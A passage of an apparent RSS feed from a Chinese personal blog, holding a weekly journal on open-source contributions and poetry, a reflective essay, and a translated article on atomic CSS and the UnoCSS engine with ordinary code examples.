&lt;p&gt;我感觉我的导师是很有想法的，很多事情都想投身去做，并且我也相信他是能做出成果的。但是在产品老板那边的视角来看，则是多一事不如少一事。老板会挑战的几个问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;人力投入，ROI&lt;/li&gt;
&lt;li&gt;对外的口径，出事的免责&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我还是太年轻了，有时候没有去仔细理解话里的含义。&lt;/p&gt;
&lt;h2&gt;开源&lt;/h2&gt;
&lt;p&gt;开始第一次下决心要投入到开源的工作中去，吸引我的主要有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;就是想写代码，多学习&lt;/li&gt;
&lt;li&gt;找到志同道合的开发者&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;watchvuln&lt;/h3&gt;
&lt;p&gt;在chatGPT的帮助下，快速完成了一个添加GUI界面的功能，提交了GitHub上第一个pr&lt;/p&gt;
&lt;p&gt;终于是迈开了里程碑的一步，&lt;/p&gt;
&lt;p&gt;这个项目我前几天提了个issue，本想着过几天写一下的，没想到author已经写完了，看到issues下面有好多人在回复，突然觉得很开心！&lt;/p&gt;
&lt;p&gt;https://github.com/zema1/watchvuln/issues/2&lt;/p&gt;
&lt;p&gt;公司内的开源协同也参与了，领了一个类似phpmyadmin系统的issue，技术栈是react+django&lt;/p&gt;
&lt;p&gt;issue中提到，如果执行sql连接查询，查询的结果显示为(Special Type)，令人费解&lt;/p&gt;
&lt;p&gt;但是和issue author对了半天也没能复现问题，目前初步讨论的猜测是表的字段存在外键导致的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;外键：表的非主键字段是另一张表的主键&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里脑子又抽风了，本来执行有外键关系的建表语句，外键对应的表是需要先存在的&lt;/p&gt;
&lt;p&gt;但是很疑惑，同事给我的 sql 文件，直接导入就能执行成功，后来才意识到，sql文件的前半部分有一大段注释，这些注释是能执行的（mysql特性了，sql注入常会用到）&lt;/p&gt;
&lt;h3&gt;ChatGPT-Desktop&lt;/h3&gt;
&lt;p&gt;闲逛的时候接触到了https://github.com/ChatGPT-Desktop/ChatGPT-Desktop.git这个项目，技术栈是 tauri + vue ，了解到这是一种类似于electron的跨平台桌面端构建技术&lt;/p&gt;
&lt;p&gt;都是基于webview，但我的理解是tauri底层用rust来写，并且复用了OS层的webview，可以减小包体积&lt;/p&gt;
&lt;p&gt;但光凭这一点，似乎还不足以支撑使用这套方案的理由，查了还有如下优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;依赖更少，Tauri依赖原生操作系统，不再需要打包chromium&lt;/li&gt;
&lt;li&gt;更好定制化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过这个watchvuln项目认识到了K师傅，还认识到了郁离歌师傅！哈哈哈哈没想到居然通过这种神奇的方式&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年3.27~3.31这段时间的经历、思考、故事。&lt;/p&gt;
&lt;h2&gt;羽毛球&lt;/h2&gt;
&lt;p&gt;这两天终于体会到，高端拍和低端拍的区别了，我买的是胜利极速，互拉高远球的时候，打感是真的舒服，能体会到球被击出去的快感！贫穷是真的限制了我的想象力😭&lt;/p&gt;
&lt;h2&gt;句子&lt;/h2&gt;
&lt;p&gt;偶尔会刷到B站一些美妙的句子，自己的手机锁屏界面也有西窗烛的小组件，随手记录一些心中一闪而过的美好&lt;/p&gt;
&lt;p&gt;时光清浅处，一步一安然&lt;/p&gt;
&lt;p&gt;—— 有点像岁月静好，现世安稳，但这句话已经被用烂了。四字句有四言的工整，五字句有五言的美感。有时候一首歌听完，一个念头闪过，可能一天、一辈子就结束了。自其变者而观之，则天地曾不能以一瞬&lt;/p&gt;
&lt;p&gt;时有落花至，远随流水香&lt;/p&gt;
&lt;p&gt;—— 我反倒觉得愿字更好，远反而表现出落花的被动。落花是自愿随着流水，温泽两岸。&lt;/p&gt;
&lt;p&gt;以欢喜心，慢度日常&lt;/p&gt;
&lt;p&gt;—— 突然想到不以物喜，不以己悲。那我觉得更应该是用平常心来渡日常&lt;/p&gt;
&lt;p&gt;有管得住，才能放得开&lt;/p&gt;
&lt;p&gt;—— 最近和读书会的同学们交流，王大记者的一句话给了我很深刻的印象，这恐怕也是中央做决策时很重要的出发点&lt;/p&gt;
&lt;p&gt;提级管理一般意味着机会更多，如98年国土资源管理局&lt;/p&gt;
&lt;p&gt;—— 98年成立国土资源管理局，房价开始上涨，最近又想重读置身事内这本书了&lt;/p&gt;
&lt;p&gt;欲买桂花同载酒，终不似，少年游。
便邀东风揽明月，春不许，再回头。
重行故地儿时路，雪不停，白了头。
残柳不语雁不误，西风转，世已秋。
踌躇举杯对孤影，尚未语，泪先留。&lt;/p&gt;
&lt;p&gt;—— 欲买桂花同载酒，可惜，早已不复少年时&lt;/p&gt;
</content:encoded></item><item><title>随笔 1.24</title><link>https://rayepeng.net/posts/%E9%9A%8F%E7%AC%94-124/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E9%9A%8F%E7%AC%94-124/</guid><pubDate>Tue, 24 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;随笔 1.24&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今年年初写的旧文了，重新修饰了下再发出来，重温当时的心境，最近也很少写了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeig3yazaeyvd55fheyyvszl3qnub4nb4qbfzmt2ra5cqanz62uc6xi.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;经常性会出现啥都不想干的情况，似那黄鹤一去不复返，只留下脑海的白云千载空悠，对任何事情，读书、研究、游戏都提不起兴趣，每当此时静坐于窗下灯前，想起王摩诘所谓雨中山果落，灯下草虫鸣，心中总会生出一股暖意，原来跨越千年的时光，我与王维的心境就交汇于这十个字中。若真有平行时空，不知他的心中是否会突然一悸，接受到我这来自千年之后的信号呢？&lt;/p&gt;
&lt;p&gt;恐怕是必然不可能的，毕竟物理学的祖父悖论怎么可能轻易逾越呢？但是歌曲却可以跨越人的心灵，今日偶然听到一首 《ocean eyes》，竟然是很久之前添加收藏的，歌手空灵悠远的音调，让我忍不住单曲循环了好一阵子，尽管听英语歌这么多年了，尽管英语文章已经看的大差不差了，可是在歌这一层，却总是无法真正读懂，那诞生于国外的高音女歌手嗓音中的律动，故只能按照我自己所处的环境和心境来解读了。那在我必是一种悲凉，我仿佛看到了一双跨越千年的目光，穿过迷雾茫茫的大海，那眼神中传达出的空旷哀伤，让我沉醉其中。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiauir2qlrdpjdcd6akp4yjgcsbawpfwsrarswrdwxtj4g7oaf5l2i.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但我这理解又不一定准确，可我也懒待去寻找真正的解读，何必事事总要去细细求证呢？毕竟各人有各人所处之环境，不仅仅是心灵所处之环境，我们千百年来生活的地理环境，也似乎决定了些什么。否则何以解释是西班牙殖民者带上枪炮、钢铁和天花病毒，去感染印第安人呢？最近读了一大半的《枪炮、病菌与钢铁》，作者不仅从实证、逻辑推理的角度追本溯源，更驳斥了西方一直以来的种族决定论。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibp62aylgzbowvv7htdyr7gjhcbgikpp3fydejcudd3aov55qkwpe.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实不然，早在公元前，咱们的农民起义领袖陈胜就已经喊出了那句王侯将相，宁有种乎的口号。这国外能比吗，那显然是不能的。但陈胜的局限性就在于，既然不是种族决定，那是什么决定呢？可能这位农民起义领袖也顾不上许多，因为暴虐的大秦朝还等着他去推翻呀。起义的前夕，他是否能悠然入睡呢？&lt;/p&gt;
&lt;p&gt;都说成大事者，泰山崩于前而面不改色，刘慈欣刻画的罗辑博士，在被托付于人类危机的重担中，却依然能翩翩然享乐。若此重任改嫁到我身上，恐怕要么我将如同诸葛丞相一样，五月度泸，深入不毛，夙兴夜寐，攘除奸凶，断不敢像罗博士一样，手持暗影精灵，谈笑间令eto组织灰飞烟灭吧（笑）。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/bafybeie4pnfttsvgugcrrznpmisd6uboqorxtw5ylzmenywfvsgqqbsewy.png&quot; alt=&quot;DraggedImage-3&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;那些弥漫充斥于脑海中的各路想法，最后终不过是晓来百念皆灰尽，省有残灯影。如苏子，对一壶酒，一溪云，如王摩诘，对一山雨，一鸣虫，如我？似乎没啥好对的了，那也就写完了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeieuvxgiqpt4ni6tv2zqlj6yhvcelfasehjj6wwx44lx5o55hwhdfe.png&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>重新构想原子化 CSS</title><link>https://rayepeng.net/posts/reimagine-atomic-css-zh/</link><guid isPermaLink="true">https://rayepeng.net/posts/reimagine-atomic-css-zh/</guid><description>打破常规，重新思考原子化 CSS 的最优解。</description><pubDate>Tue, 26 Oct 2021 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;[[toc]]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;感谢印记中文的 &lt;a href=&quot;https://github.com/QC-L&quot;&gt;QC-L&lt;/a&gt; 对本文进行翻译，英文原文: &lt;a href=&quot;/posts/reimagine-atomic-css&quot;&gt;English Version&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;本文会比往期文章相对长些。这是我个人的一个重大的工具发布，有许多内容我想谈论。如果你能花些时间读完，不胜感激。若你在电脑端阅读，可在左侧查看目录。最后，希望能对你有所帮助 :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;什么是原子化 CSS?&lt;/h2&gt;
&lt;p&gt;首先，让我们为 &lt;strong&gt;原子化 CSS&lt;/strong&gt; (Atomic CSS) 给出适当的定义：&lt;/p&gt;
&lt;p&gt;John Polacek 在 &lt;a href=&quot;https://css-tricks.com/lets-define-exactly-atomic-css/&quot;&gt;文章 Let’s Define Exactly What Atomic CSS is&lt;/a&gt; 中写道：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Atomic CSS is the approach to CSS architecture that favors small, single-purpose classes with names based on visual function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;译文：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;原子化 CSS 是一种 CSS 的架构方式，它倾向于小巧且用途单一的 class，并且会以视觉效果进行命名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;有些人可能会称其为函数式 CSS，或者 CSS 实用工具。本质上，你可以将原子化的 CSS 框架理解为这类 CSS 的统称：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-0 {
  margin: 0;
}
.text-red {
  color: red;
}
/* ... */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;市面上有不少实用至上的 CSS 框架，如 &lt;a href=&quot;https://tailwindcss.com/&quot;&gt;Tailwind CSS&lt;/a&gt;，&lt;a href=&quot;https://cn.windicss.org/&quot;&gt;Windi CSS&lt;/a&gt; 以及 &lt;a href=&quot;https://tachyons.io/&quot;&gt;Tachyons&lt;/a&gt; 等。&lt;/p&gt;
&lt;p&gt;同时有些 UI 库也会附带一些 CSS 工具类作为框架的补充，如 &lt;a href=&quot;https://getbootstrap.com/docs/5.1/utilities/api/&quot;&gt;Bootstrap&lt;/a&gt; 和 &lt;a href=&quot;https://chakra-ui.com/docs/features/style-props&quot;&gt;Chakra UI&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;这篇文章并不打算和你讨论使用原子化 CSS 的优缺点，相信你己经在各种地方听到了许多讨论。今天我们将从框架作者的角度来聊聊如何权衡设计以构建出那些你喜欢的框架，它们的局限性，以及如何能将它们做得更好以使得我们的日常工作受惠。&lt;/p&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;在正式开始前，先来聊聊背景。如果你还不认识我，我叫 Anthony Fu，是 &lt;a href=&quot;https://vitejs.dev/&quot;&gt;Vite&lt;/a&gt; 团队的成员，也是 &lt;a href=&quot;https://github.com/antfu/vitesse&quot;&gt;Vitesse&lt;/a&gt; (Vite 社区最受欢迎的起手模板之一) 的作者。我享受原子化 CSS 带来的快速开发体验，而因此选择了 &lt;a href=&quot;https://tailwindcss.com/&quot;&gt;Tailwind CSS&lt;/a&gt; 作为 Vitesse 的默认 UI 框架。虽然 Vite 较 Webpack 等工具相比，在加载速度上有了大幅提升，但由于 Tailwind 生成了数 MB 的 CSS，使得加载与更新 CSS 成为了整个 Vite 应用的性能瓶颈。我曾以为这是使用为了原子式 CSS 的一种权衡，直到我发现了 &lt;a href=&quot;https://cn.windicss.org&quot;&gt;Windi CSS&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/images/discover-windicss-zh.png&quot; class=&quot;transform scale-110 py-2&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://cn.windicss.org&quot;&gt;Windi CSS&lt;/a&gt; 是从零开始编写的 Tailwind CSS 的替代方案。它的零依赖，也不要求用户安装 PostCSS 和 Autoprefixer。更为重要的是，它支持 &lt;strong&gt;按需生成&lt;/strong&gt;。Windi CSS 不会一次生成所有的 CSS，而是只会生成你在代码中实际使用到的原子化 CSS。这与 Vite 按需使用的理念不谋而合，也因此，我为它编写了 &lt;a href=&quot;https://github.com/windicss/vite-plugin-windicss&quot;&gt;一个 Vite 插件&lt;/a&gt;。不出所料，从一个简单的测试上可以看到它比 Tailwind 要快了 &lt;a href=&quot;https://twitter.com/antfu7/status/1361398324587163648&quot;&gt;20~100 倍&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;项目进展相当顺利，Windi CSS 也快速成长为一个团队，我们也引入了许多创新，如 &lt;a href=&quot;https://cn.windicss.org/features/value-auto-infer.html&quot;&gt;自动值推导&lt;/a&gt;，&lt;a href=&quot;https://windicss.org/features/variant-groups.html&quot;&gt;可变修饰组&lt;/a&gt;，&lt;a href=&quot;https://windicss.org/features/shortcuts.html&quot;&gt;Shortcuts&lt;/a&gt;，&lt;a href=&quot;https://twitter.com/antfu7/status/1372244287975387145&quot;&gt;在 DevTools 中进行设计&lt;/a&gt;，&lt;a href=&quot;https://twitter.com/windi_css/status/1387460661135896577&quot;&gt;属性化模式&lt;/a&gt; 等。作为结果，Tailwind 也 &lt;a href=&quot;https://twitter.com/adamwathan/status/1371542711086559237?s=20&quot;&gt;因此&lt;/a&gt; 使用了同样的技术并推出了自己的 &lt;a href=&quot;https://tailwindcss.com/docs/just-in-time-mode&quot;&gt;JIT 按需引擎&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;剖析原子化 CSS&lt;/h2&gt;
&lt;p&gt;在文章开始前，我们来聊聊原子化 CSS 的工作原理。&lt;/p&gt;
&lt;h3&gt;传统方案&lt;/h3&gt;
&lt;p&gt;制作原子化 CSS 的传统方案其实就是提供所有你可能需要用到的 CSS 工具。例如，你可能会用预处理器（这里选用的是 SCSS）生成如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// style.scss

@for $i from 1 through 10 {
  .m-#{$i} {
    margin: $i / 4 rem;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译结果为：&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-1 { margin: 0.25 rem; }
.m-2 { margin: 0.5 rem; }
/* ... */
.m-10 { margin: 2.5 rem; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在你可以直接使用 &lt;code&gt;class=&quot;m-1&quot;&lt;/code&gt; 来设置边距。但正如你所见，用这种方法的情况下，你不能使用除了 1 到 10 之外的边距，而且，即使你只使用了其中一条 CSS 规则，但还是要为其余几条规则的文件体积买单。如果之后你还想支持不同的 margin 方向，使用比如 &lt;code&gt;mt&lt;/code&gt; 代表 &lt;code&gt;margin-top&lt;/code&gt;，&lt;code&gt;mb&lt;/code&gt; 代表 &lt;code&gt;margin-bottom&lt;/code&gt; 等，加上这 4 个方向以后，你的 CSS 大小会变成原来的 5 倍。如果再有使用到像 &lt;code&gt;:hover&lt;/code&gt; 和 &lt;code&gt;:focus&lt;/code&gt; 这样的伪类时，体积还会得更变大。以此类推，每多加一个工具类，往往意味着你 CSS 文件的大小也会随之增加。这也就是为什么传统的 Tailwind 生成的 CSS 文件会有数 MB 的大小。&lt;/p&gt;
&lt;p&gt;为了解决这个问题，Tailwind 通过使用 &lt;a href=&quot;https://purgecss.com/&quot;&gt;PurgeCSS&lt;/a&gt; 来扫描你的打包产物并删除你不需要的规则。这得以使其在生产环境中 CSS 文件缩减为几 KB。然而，请注意，这个清除操作仅在生成构建下有效，而开发环境下仍要使用包含了所有规则巨大的 CSS 文件。这在 Webpack 中表现可能并不明显，但在 Vite 中却有着巨大的影响，毕竟其他内容的加载都非常迅捷。&lt;/p&gt;
&lt;p&gt;既然生成再清除的方法存在局限性，那是否有更好的解决方案？&lt;/p&gt;
&lt;h3&gt;按需生成&lt;/h3&gt;
&lt;p&gt;&quot;按需生成&quot; 的想法引入了一种全新的思维方式。让我们先来对比下这些方案：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/images/unocss-traditional-way-zh.png&quot; class=&quot;filter dark:invert&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;传统的方式不仅会消耗不必要的资源（生成了但未使用），甚至有时更是无法满足你的需求，因为总会有部分需求无法包含在内。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/images/unocss-on-demand-way-zh.png&quot; class=&quot;filter dark:invert&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;通过调换 &quot;生成&quot; 和 &quot;扫描&quot; 的顺序，&quot;按需&quot; 会为你节省浪费的计算开销和传输成本，同时可以灵活地实现预生成无法实现的动态需求。另外，这种方法可以同时在开发和生产中使用，提供了一致的开发体验，使得 HMR (Hot Module Replacement, 热更新) 更加高效。&lt;/p&gt;
&lt;p&gt;为了实现这一点，Windi CSS 和 Tailwind JIT 都采用了预先扫描源代码的方式。下面是一个简单示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


// 通常这个是可以配置的
const include = [&apos;src/**/*.{jsx,tsx,vue,html}&apos;]

async function scan() {
  const files = await glob(include)

  for (const file of files) {
    const content = await fs.readFile(file, &apos;utf8&apos;)
    // 将文件内容传递给生成器并配对 class 的使用情况
  }
}

await scan()
// 扫描会在构建/服务器启动前完成
await buildOrStartDevServer()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为了在开发期间提供 HMR，通常会启动一个 &lt;a href=&quot;https://github.com/paulmillr/chokidar&quot;&gt;文件系统监听器&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

chokidar.watch(include).on(&apos;change&apos;, (event, path) =&amp;gt; {
  // 重新读取文件
  const content = await fs.readFile(file, &apos;utf8&apos;)
  // 将新的内容重新传递给生成器
  // 清除 CSS 模块的缓存并触发 HMR 事件
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此，通过按需生成方式，Windi CSS 获得了比传统的 Tailwind CSS &lt;a href=&quot;https://twitter.com/antfu7/status/1361398324587163648&quot;&gt;快 100 倍左右&lt;/a&gt; 的性能。&lt;/p&gt;
&lt;h2&gt;痛痒&lt;/h2&gt;
&lt;p&gt;我现在在我几乎所有的应用中都在使用 Windi CSS，而且效果显著，性能优异，HMR 瞬间完成几乎无法察觉。&lt;a href=&quot;https://cn.windicss.org/features/value-auto-infer.html&quot;&gt;自动值推导&lt;/a&gt; 和 &lt;a href=&quot;https://twitter.com/windi_css/status/1387460661135896577&quot;&gt;属性化模式&lt;/a&gt; 更是提升了我的开发体验。到这里，我本该可以睡上一个好觉去想想其他事情了，但是有时候，它还是会瘙你痒痒打扰你的美梦。&lt;/p&gt;
&lt;p&gt;我发现最令人讨厌的是，和很多时候我不清楚我得到的结果是什么，以及怎么样做才能让它生效。对我而言，最好最理想的原子化 CSS 应该是直觉性的。一旦学会，它应该非常直观易懂，并且可以推导出其他已知情况。如果你知道 &lt;code&gt;mt-1&lt;/code&gt; 是上边距的一倍单位，你就会直觉地认为 &lt;code&gt;mb-2&lt;/code&gt; 是下边距的两倍单位。当它正常工作时，是直觉使然，但当它不起作用时，会令人沮丧和困惑。&lt;/p&gt;
&lt;p&gt;例如，我们知道 Tailwind 中的 &lt;code&gt;border-2&lt;/code&gt; 标识边框宽度为 &lt;code&gt;2px&lt;/code&gt;，&lt;code&gt;4&lt;/code&gt; 表示 &lt;code&gt;4px&lt;/code&gt;，&lt;code&gt;6&lt;/code&gt; 表示 &lt;code&gt;6px&lt;/code&gt;，&lt;code&gt;8&lt;/code&gt; 表示 &lt;code&gt;8px&lt;/code&gt;，但当你使用 &lt;code&gt;border-10&lt;/code&gt; &lt;strong&gt;却不起作用&lt;/strong&gt;（你甚至需要一些时间来发现这件事！）。你可能会说这是故意而为之，以使得设计系统具有一致性。不如这样，我们来做个小测验，&lt;strong&gt;如果想要让 &lt;code&gt;border-10&lt;/code&gt; 正常工作，应该如何做？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在你的全局样式中的某个位置添加这样一个工具类？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.border-10 {
  border-width: 10px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;快速且直观，最重要的是，它的确解决了你的需求。但是，如果什么都需要我自己手动添加，那我们为什么还需要使用 Tailwind ？&lt;/p&gt;
&lt;p&gt;如果你对 Tailwind 了解深入一些，那你可能知道它可以进行额外配置。所以你需要花 5 分钟，检索他们的文档。你将得到&lt;a href=&quot;https://tailwindcss.com/docs/border-width#border-widths&quot;&gt;如下方案&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// tailwind.config.js
module.exports = {
  theme: {
    borderWidth: {
      DEFAULT: &apos;1px&apos;,
      0: &apos;0&apos;,
      2: &apos;2px&apos;,
      3: &apos;3px&apos;,
      4: &apos;4px&apos;,
      6: &apos;6px&apos;,
      8: &apos;8px&apos;,
      10: &apos;10px&apos; // &amp;lt;-- here
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这似乎很合理，我可以把我需要的情况都列出来，回去继续工作了...等一下，我刚刚进行到哪里了？因为这样一个工具的丢失而被打断，除了配置，我们还会需要时间重新找回原本正在进行的工作的上下文。接着，如果我想设置边框颜色，我还需要查询文档，然后如何进行配置。也许有人喜欢这样的工作流程，但这并不适合我，我并不享受被本该直觉性工作的工具打断的我的工作流程。&lt;/p&gt;
&lt;p&gt;Windi CSS 对规则相对宽松一些，会尽可能地根据你使用的 class 提供相应的实用工具类。在这种情况下，&lt;code&gt;border-10&lt;/code&gt; 在 Windi 中可以做到开箱即用。但是，由于 Windi 需要与 Tailwind 兼容，它还必须使用与 Tailwind 完全相同的配置项。尽管数字推断的问题得到了解决，但如果你想添加一些自定义的工具，这将是一场噩梦。下面是一个来自 &lt;a href=&quot;https://tailwindcss.com/docs/plugins#escaping-class-names&quot;&gt;Tailwind 文档&lt;/a&gt; 的示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// tailwind.config.js
const _ = require(&apos;lodash&apos;)
const plugin = require(&apos;tailwindcss/plugin&apos;)

module.exports = {
  theme: {
    rotate: {
      &apos;1/4&apos;: &apos;90deg&apos;,
      &apos;1/2&apos;: &apos;180deg&apos;,
      &apos;3/4&apos;: &apos;270deg&apos;,
    }
  },
  plugins: [
    plugin(({ addUtilities, theme, e }) =&amp;gt; {
      const rotateUtilities = _.map(theme(&apos;rotate&apos;), (value, key) =&amp;gt; {
        return {
          [`.${e(`rotate-${key}`)}`]: {
            transform: `rotate(${value})`
          }
        }
      })

      addUtilities(rotateUtilities)
    })
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将生成如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.rotate-1\/4 {
  transform: rotate(90deg);
}
.rotate-1\/2 {
  transform: rotate(180deg);
}
.rotate-3\/4 {
  transform: rotate(270deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成 CSS 的代码甚至比结果还要长。并且难以阅读和维护，同时，它破坏了按需应变的能力。&lt;/p&gt;
&lt;p&gt;Tailwind 的 API 和插件系统沿用了旧的思维方式进行设计，并不能适应新的按需方式。其核心工具是在生成器中锻造出来的，而且其定制化功能相当有限。因此，我开始思考，如果我们可以放弃这些历史包袱，并以随需应变思想重新设计它，我们可以得到什么？&lt;/p&gt;
&lt;h2&gt;向你介绍 UnoCSS&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/antfu/unocss&quot;&gt;&lt;strong&gt;UnoCSS&lt;/strong&gt;&lt;/a&gt; - 具有高性能且极具灵活性的即时原子化 CSS 引擎。&lt;/p&gt;
&lt;p&gt;该项目诞生于我在国庆期间的做的一些随机实验。从使用者的角度出发去探索灵活性和直观性的最佳平衡，加上按需生成的思想，这些实验的最终结果在不少方面甚至超出了我的预期。接下来让我为你逐一介绍：&lt;/p&gt;
&lt;h3&gt;引擎&lt;/h3&gt;
&lt;p&gt;UnoCSS 是一个&lt;strong&gt;引擎&lt;/strong&gt;，而非一款&lt;strong&gt;框架&lt;/strong&gt;，因为它&lt;strong&gt;并未提供核心工具类&lt;/strong&gt;，所有功能可以通过预设和内联配置提供。&lt;/p&gt;
&lt;p&gt;我们设想 UnoCSS 能够通过预设模拟大多数已有原子化 CSS 框架的功能。也有可能会被用作创建一些新的原子化 CSS 框架的引擎。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


// 以下预设目前还不存在，
// 欢迎大家踊跃贡献！






  plugins: [
    UnocssPlugin({
      presets: [
        // PresetTachyons,
        PresetBootstrap,
        // PresetTailwind,
        // PresetWindi,
        // PresetAntfu

        // 选择其中一个...或多个！
      ]
    })
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让我们来看看如何使它们成为可能：&lt;/p&gt;
&lt;h3&gt;直观且完全可定制&lt;/h3&gt;
&lt;p&gt;UnoCSS 的主要目标是直观性和可定制性。它可以让你在数十秒内，定义你自己的 CSS 工具。&lt;/p&gt;
&lt;h6&gt;静态规则&lt;/h6&gt;
&lt;p&gt;原子化 CSS 可能数量相当庞大。因此，规则定义直接了当对于阅读和维护非常重要。如需为 UnoCSS 创建一个自定义规则，你可以这样写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rules: [
  [&apos;m-1&apos;, { margin: &apos;0.25rem&apos; }]
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当在用户代码库中检测到 &lt;code&gt;m-1&lt;/code&gt; 时，就会生成如下 CSS：&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-1 { margin: 0.25rem; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;动态规则&lt;/h6&gt;
&lt;p&gt;想要使其动态化，可以将匹配器修改为正则表达式，将主体改为一个函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rules: [
  [/^m-(\d+)$/, ([, d]) =&amp;gt; ({ margin: `${d / 4}rem` })],
  [/^p-(\d+)$/, match =&amp;gt; ({ padding: `${match[1] / 4}rem` })],
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，回调函数的第一个参数为匹配结果，所以你可以对它进行解构以获得正则表达式的匹配组。&lt;/p&gt;
&lt;p&gt;例如，当你使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;m-100&quot;&amp;gt;
  &amp;lt;button class=&quot;m-3&quot;&amp;gt;
    &amp;lt;icon class=&quot;p-5&quot; /&amp;gt;
    My Button
  &amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就会生成相应的 CSS：&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-100 { margin: 25rem; }
.m-3 { margin: 0.75rem; }
.p-5 { padding: 1.25rem; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就行了。而现在，你只需要使用相同的模式添加更多的实用工具类，你就拥有了属于自己的原子化 CSS！&lt;/p&gt;
&lt;h3&gt;可变修饰&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://cn.windicss.org/utilities/variants.html#variants&quot;&gt;可变修饰 (Variants)&lt;/a&gt; 在 UnoCSS 中也是简单且强大的。这里有几个示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;variants: [
  // 支持所有规则的 `hover:`
  {
    match: s =&amp;gt; s.startsWith(&apos;hover:&apos;) ? s.slice(6) : null,
    selector: s =&amp;gt; `${s}:hover`,
  },
  // 支持 `!` 前缀，使规则优先级更高
  {
    match: s =&amp;gt; s.startsWith(&apos;!&apos;) ? s.slice(1) : null,
    rewrite: (entries) =&amp;gt; {
      // 在所有 CSS 值中添加 ` !important`
      entries.forEach(e =&amp;gt; e[1] += &apos; !important&apos;)
      return entries
    },
  }
]
&lt;/code&gt;&lt;/pre&gt;
